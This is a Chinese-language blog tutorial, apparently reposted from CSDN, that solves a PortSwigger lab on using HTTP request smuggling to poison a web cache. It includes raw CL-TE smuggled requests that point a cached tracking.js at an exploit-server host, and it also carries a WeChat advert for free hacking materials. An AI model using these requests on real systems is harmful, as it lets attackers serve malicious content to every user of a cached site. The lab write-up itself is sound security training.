• Http-Sumggling缓存漏洞分析


    当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看。

    在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解。

    什么是Web缓存

    WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。

    缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有:

    • 后端程序缓存

    • 服务器缓存

    • 浏览器缓存

    • 缓存服务器

    • CDN缓存

    最常见的无疑就是CDN及其类似的缓存服务器。

    而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念。

     

    什么是web缓存漏洞

    如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷。

    这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了。

     如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,也叫缓存攻击。

    【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】

     ① 网安学习成长路径思维导图

     ② 60+网安经典常用工具包

     ③ 100+SRC漏洞分析报告

     ④ 150+网安攻防实战技术电子书

     ⑤ 最权威CISSP 认证考试指南+题库

     ⑥ 超1800页CTF实战技巧手册

     ⑦ 最新网安大厂面试题合集(含答案)

     ⑧ APP客户端安全检测指南(安卓+IOS)

    Http Sumggling

    HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的。

    一般可分为以下几种:

    • CL: Content-Length

    • TE: Transfer-Encoding

    • CL不为0的GET请求

    • CL-CL

    • CL-TE

    • TE-CL

    • TE-TE

    mengchen@知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述。

    协议层的攻击——HTTP请求走私

    Http Sumggling 缓存漏洞

    靶场

    依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场。

    解法

    判断是否存在走私,确定为CL-TE。

    1. POST / HTTP/1.1
    2. Host: your-lab-id.web-security-academy.net
    3. Content-Type: application/x-www-form-urlencoded
    4. Content-Length: 129
    5. Transfer-Encoding: chunked
    6. 0
    7. GET /post/next?postId=3 HTTP/1.1
    8. Host: anything
    9. Content-Type: application/x-www-form-urlencoded
    10. Content-Length: 10
    11. x=1

    第一次请求为:

    1. POST / HTTP/1.1
    2. Host: your-lab-id.web-security-academy.net
    3. Content-Type: application/x-www-form-urlencoded
    4. Content-Length: 129
    5. Transfer-Encoding: chunked

     

    第二次请求为下半段:

    1. GET /post/next?postId=3 HTTP/1.1
    2. Host: anything
    3. Content-Type: application/x-www-form-urlencoded
    4. Content-Length: 10
    5. x=1

     可以看到存在302跳转。

    然后我们需要找到哪里进行缓存攻击,这里我以/resources/js/tracking.js进行攻击。

     

     可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存攻击。

    • 先点击send post包

      1. POST / HTTP/1.1
      2. Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net
      3. Content-Type: application/x-www-form-urlencoded
      4. Content-Length: 195
      5. Transfer-Encoding: chunked
      6. 0
      7. GET /post/next?postId=3 HTTP/1.1
      8. Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/
      9. Content-Type: application/x-www-form-urlencoded
      10. Content-Length: 10
      11. x=1

      访问到第一部分:

    • 然后在/resources/js/tracking.js send包:

       可以发现成功攻击,缓存键为miss,那下一个包应该就可以成功转接到exploit上,我们试试。

    • 对原界面进行抓包,多抓几次。

       发现host成功变为我们的exploit。

    后言

    漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志。

    更多靶场实验练习、网安学习资料,

    请点击这里>>icon-default.png?t=M666https://www.hetianlab.com

  • 相关阅读:
    JVM学习笔记
    基于ARM的环境参数检测系统设计(Labview+STM32+ZigBee)
    微擎模块 酷炫小程序相册V4.4开源版,新增广告+评论功能相册点赞功能
    【网络协议】TCP报文格式
    统计官方模型的参数量和计算量
    自己理解的TCP三次握手
    SentinelResource注解之blockHander和fallback
    AUTOSAR基础篇之StbM
    随笔记录Linux命令,待完善
    GO-实现简单文本格式 文本字体颜色、大小、突出
  • 原文地址:https://blog.csdn.net/qq_38154820/article/details/126157742